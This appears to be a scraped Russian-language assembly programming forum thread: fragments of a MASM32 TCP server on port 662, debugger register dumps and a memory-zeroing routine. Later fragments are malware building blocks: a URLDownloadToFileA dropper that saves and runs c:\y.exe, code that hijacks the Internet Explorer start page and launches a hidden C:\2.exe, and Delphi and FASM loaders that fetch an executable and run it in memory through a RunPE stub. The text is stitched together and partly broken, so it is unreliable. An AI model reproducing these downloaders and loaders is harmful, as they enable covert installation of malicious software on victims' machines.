.386
.model flat, stdcall
option casemap :none
clientThread PROTO:DWORD
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,msvcrt,ws2_32
includelib \masm32\lib\irvine32.lib
.const
.data
wsadata WSADATA <>;прием данных
saddr sockaddr_in <> ;прием данных
wsa2 WSADATA <>;отправка данных
saddr2 sockaddr_in <>;отправка данных
sendsock dd 0
recv_buf db 1024 dup (0)
.data?
sock dd ?
asock dd ?
.code
main:
invoke WSAStartup,101h,addr wsadata
test eax,eax
jnz @err
invoke socket,AF_INET,SOCK_STREAM,0
cmp eax,INVALID_SOCKET
je @err
mov sock,eax
mov saddr.sin_family,AF_INET
invoke htons,662
mov saddr.sin_port,ax
invoke bind,sock,offset saddr,sizeof sockaddr_in
cmp eax,-1
je @err
invoke listen,sock,2
cmp eax,-1
je @err
@@:
invoke accept,sock,0,0
inc eax;cmp eax,-1
je @err
dec eax
mov asock,eax
invoke clientThread,asock
jmp @ex
@err:
fn MessageBox,0,LastError$(),"Last Error Text",MB_OK
@ex:
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
invoke WSACleanup
invoke ExitProcess,0
clientThread proc clientsock:dword
local clientBuf[2048]:byte;TODO - запрос может быть больше? Позволит ли стек такой размер?
local tmpBuf[101h]:byte
invoke RtlZeroMemory,addr clientBuf,2048
@@:
invoke recv,clientsock,addr tmpBuf,100h,0
cmp eax,SOCKET_ERROR;если ошибка, то выходим
je @ret
test eax,eax;скачали все данные? если да, переходим дальше
jz @getReqv
invoke lstrcat,addr clientBuf,addr tmpBuf
Invoke MessageBox,0,addr tmpBuf,0,0
jmp @b
@getReqv:
invoke MessageBox,0,addr clientBuf,0,0
@ret:
ret
clientThread endp
end main
invoke clientThread,asock
jmp @ex
....
@ex:
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
invoke WSACleanup
invoke ExitProcess,0
invoke clientThread,asock
invoke WaitForSingleObject,eax,10000; 10 сек поди будет достаточно
jmp @ex
...
@@:
invoke accept,sock,0,0
inc eax;cmp eax,-1
je @err
dec eax
invoke clientThread,eax
test eax,eax
jz @b
invoke CloseHandle,eax; <-- как у Малышевой :) - "Хорошо! - убраться за собой". да и в самом потоке closesocket будет не лишним.
jmp @b; <-- прыжок обратно на accept для обработки последующих коннектов.
EAX=00000100 EBX=7FFDF000 ECX=00867620 EDX=00000001
ESI=01CDA39A EDI=7C2EC686 EBP=0012FFC0 ESP=0012F630
EIP=004010C4 EFL=00000246 CF=0 SF=0 ZF=1 OF=0 AF=0 PF=1
EAX=000000BB EBX=7FFDF000 ECX=00867620 EDX=00000001
ESI=01CDA39A EDI=7C2EC686 EBP=0012FFC0 ESP=0012F630
EIP=004010C4 EFL=00000246 CF=0 SF=0 ZF=1 OF=0 AF=0 PF=1
EAX=00000000 EBX=7FFDF000 ECX=00867620 EDX=00000001
ESI=01CDA39A EDI=7C2EC686 EBP=0012FFC0 ESP=0012F630
EIP=004010C4 EFL=00000246 CF=0 SF=0 ZF=1 OF=0 AF=0 PF=1

.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,msvcrt,ws2_32
.const
.data
wsadata WSADATA <>;прием данных
saddr sockaddr_in <> ;прием данных
wsa2 WSADATA <>;отправка данных
saddr2 sockaddr_in <>;отправка данных
sendsock dd 0
recv_buf db 1024 dup (0)
.data?
sock dd ?
asock dd ?
.code
main proc
local clientBuf[2048]:byte;основной буфер
local tmpBuf[400]:byte;темп буфер для рецв
local recvd:dword
mov recvd,1h
invoke RtlZeroMemory,addr clientBuf,2048
invoke WSAStartup,101h,addr wsadata
test eax,eax
jnz @err
invoke socket,AF_INET,SOCK_STREAM,0
cmp eax,INVALID_SOCKET
je @err
mov sock,eax
mov saddr.sin_family,AF_INET
invoke htons,662
mov saddr.sin_port,ax
invoke bind,sock,offset saddr,sizeof sockaddr_in
cmp eax,-1
je @err
invoke listen,sock,2
cmp eax,-1
je @err
invoke accept,sock,0,0
inc eax;cmp eax,-1
je @err
dec eax
mov asock,eax
@recv:
invoke RtlZeroMemory,addr tmpBuf,400;очистить буфер
invoke recv,asock,addr tmpBuf,100h,0;считать данные
cmp eax,SOCKET_ERROR;если ошибка
je @getReqv
cmp eax,0;или 0 - выходим
jz @getReqv
invoke lstrcat,addr clientBuf,addr tmpBuf;прибавим к основному буферу текущий
jmp @recv;конца хидеров нет, читаем данные снова
@getReqv:;все прочитано, можно вернутся или выйти
invoke closesocket,asock
jmp @ex
@err:
fn MessageBox,0,LastError$(),"Last Error Text",MB_OK
@ex:
invoke shutdown,sock,SD_BOTH
invoke closesocket,sock
invoke WSACleanup
invoke ExitProcess,0
main endp
end main
mov asock,eax;сокет с accept
@recv:;цикл получения данных с сокета
invoke RtlZeroMemory,addr tmpBuf,400;очистка буфера
invoke recv,asock,addr tmpBuf,100h,0
cmp eax,SOCKET_ERROR;ошибка
je @getReqv
cmp eax,0;0 - да, говнокод, надо test eax,eax, но пока пох
jz @getReqv
push eax;к-тво байт прочитанных рецв
invoke lstrcat,addr clientBuf,addr tmpBuf;копируем данные с временного буфера
lea edi,tmpBuf;загружаем его в еди
pop ecx ;к-тво байт прочитанных рецв, для цикла
@@:;ищем конец хидеров
mov al,0Ah
repne scasb
cmp word ptr[edi]==0A0Dh;конец хидеров, добавить проверки не пост ли запрос и так далее
je @getReqv;конец хидеров, выходим с цикла нафиг
test ecx,ecx;просмотрели весь буфер?
je @recv;конца хидеров нет, читаем данные снова
jmp @b;это был конец хидера, читаем сначала
@getReqv:
Zer0memory proc uses eax ecx edi pmem:dword,dsize:dword
xor al,al;нуллбайт
mov edi,pmem;указатель на участок памяти
mov ecx,dsize;размер участка.
cld;флаг
rep stosb;заполнить память
ret
Zer0memory endp
777E5C90 /$ 57 PUSH EDI
777E5C91 |. 8B7C24 08 MOV EDI,DWORD PTR SS:[ARG.1]
777E5C95 |. 8B4C24 0C MOV ECX,DWORD PTR SS:[ARG.2]
777E5C99 |. 33C0 XOR EAX,EAX
777E5C9B |. FC CLD
777E5C9C |. 8BD1 MOV EDX,ECX
777E5C9E |. 83E2 03 AND EDX,00000003
777E5CA1 |. C1E9 02 SHR ECX,2
777E5CA4 |. F3:AB REP STOS DWORD PTR ES:[EDI]
777E5CA6 |. 0BCA OR ECX,EDX
777E5CA8 |. 75 04 JNE SHORT 777E5CAE
777E5CAA |. 5F POP EDI
777E5CAB |. C2 0800 RETN 8
777E5CAE |> F3:AA REP STOS BYTE PTR ES:[EDI]
777E5CB0 |. 5F POP EDI
777E5CB1 \. C2 0800 RETN 8
invoke GetCommandLineA
add ax, 0Ah
lea ecx, [eax]
push ecx
.data
szLibrary db "urlmon.dll",0
szFunction db "URLDownloadToFileA",0
szFileName db "c:\y.exe", 0
.data?
UrlDownloadToFile dword ?
.code
download proc
invoke GetCommandLineA
add ax, 0Ah
lea ecx, [eax]
push ecx
invoke LoadLibrary, addr szLibrary
invoke GetProcAddress, eax, addr szFunction
mov UrlDownloadToFile, eax
push 0
push 0
push offset szFileName
push offset Url
push 0
call UrlDownloadToFile
invoke WinExec, addr szFileName, 1
invoke ExitProcess, 0
download endp
и все регистры кроме EDI можно нахуй не сохранятьZer0memory proc uses eax ecx edi pmem:dword,dsize:dword
xor al,al;нуллбайт
mov edi,pmem;указатель на участок памяти
mov ecx,dsize;размер участка.
cld;флаг - это не обязательно, тебе же похуй в каком направлении в данном случае
rep stosb;заполнить память
ret
Zer0memory endp
.686
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,user32,masm32,advapi32,shell32
.const
szOpen db "open",0
.data
szjsName db "C:\a.htm",0
szUrls db "Software\Microsoft\Internet Explorer\Main\",0
szAutoKeyValue2 db "Start Page", 0
szIE db "iexplore",0
szdFILE db "C:\2.exe",0
.data?
gKey dd ?
.code
; #########################################################################
download proc
LOCAL hFile: DWORD
LOCAL bWritten: DWORD
invoke CreateFile, offset szjsName, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
mov hFile, eax
inc eax
jz @end
invoke lstrlen, offset szjsName
mov edx, eax
invoke WriteFile, hFile, offset szjsName, edx, addr bWritten, NULL
invoke CloseHandle, hFile
invoke RegOpenKeyEx, HKEY_CURRENT_USER, addr szUrls, 0, KEY_WRITE, addr gKey
invoke lstrlen, addr szjsName
invoke RegSetValueEx, gKey, addr szAutoKeyValue2, 0, REG_SZ, addr szjsName, eax
invoke RegCloseKey, gKey
invoke ShellExecuteA,0,offset szOpen,offset szIE, NULL,NULL,SW_SPOILER
invoke Sleep, 20000
invoke ShellExecuteA,0,offset szOpen,offset szdFILE, NULL,NULL,SW_SPOILER
@end:
ret
download endp
program Project2;
uses
wininet,windows;
const
BufferSize = 30000000;
var
hSession, hURL: HInternet;
Buffer: Array[1..buffersize] of Byte;
BufferLength: DWORD;
b1 : Array[1..buffersize] of Byte;
RunPE: array[0..693] of Byte = ({скачать байт-код - http://zalil.ru/34632811});
begin
hSession := InternetOpen('useragent', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
hURL := InternetOpenURL(hSession, PChar('http://127.0.0.1/test.exe'), nil, 0, 0, 0);
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLength);
move(Buffer,b1,bufferlength);
InternetCloseHandle(hURL);
InternetCloseHandle(hSession);
asm
LEA EAX, b1[0]
LEA EBX, RunPE[0]
CALL EBX
end;
end.
format PE GUI on 'nul'
entry start
section '.code' code import writeable readable executable
include 'win32ax.inc'
library kernel32, 'kernel32.dll',\
wininet, 'wininet.dll'
import kernel32,\
ExitProcess, 'ExitProcess'
import wininet,\
InternetOpen, 'InternetOpenA',\
InternetOpenURL, 'InternetOpenUrlA',\
InternetReadFile, 'InternetReadFile',\
InternetCloseHandle, 'InternetCloseHandle'
RunPE db 55h, 8Bh, 0ECh, 81h, 0C4h, 0A4h, 0FAh, 0FFh, 0FFh, 89h, 45h, 0FCh, 0E8h, 1Bh, 02h, 00h
; скачать байт-код - http://zalil.ru/34632811
start:
invoke InternetOpen, 'DL-useragent', 1, 0, 0, 0
mov [hsession], eax
invoke InternetOpenURL, [hsession], down_file, 0, 0, 0, 0
mov [hURL], eax
invoke InternetReadFile, [hURL], buffer, 1024, buflen
cmp [buflen], 0
je next
next:
; ??????????????????????????????????????
; копирование участка памяти ??
mov esi, [buffer]
mov edi, [buffer_new]
mov ecx, [buflen]
;rep movsb
; ??????????????????????????????????????
invoke InternetCloseHandle, [hURL]
invoke InternetCloseHandle, [hsession]
lea eax, [buffer_new]
lea ebx, [RunPE]
call ebx
xor eax, eax
invoke ExitProcess, eax
down_file db 'http://127.0.0.1/test.exe'
buffer dd 300000000
buffer_new dd 256
buflen dd 256
hsession dd 1
hURL dd 1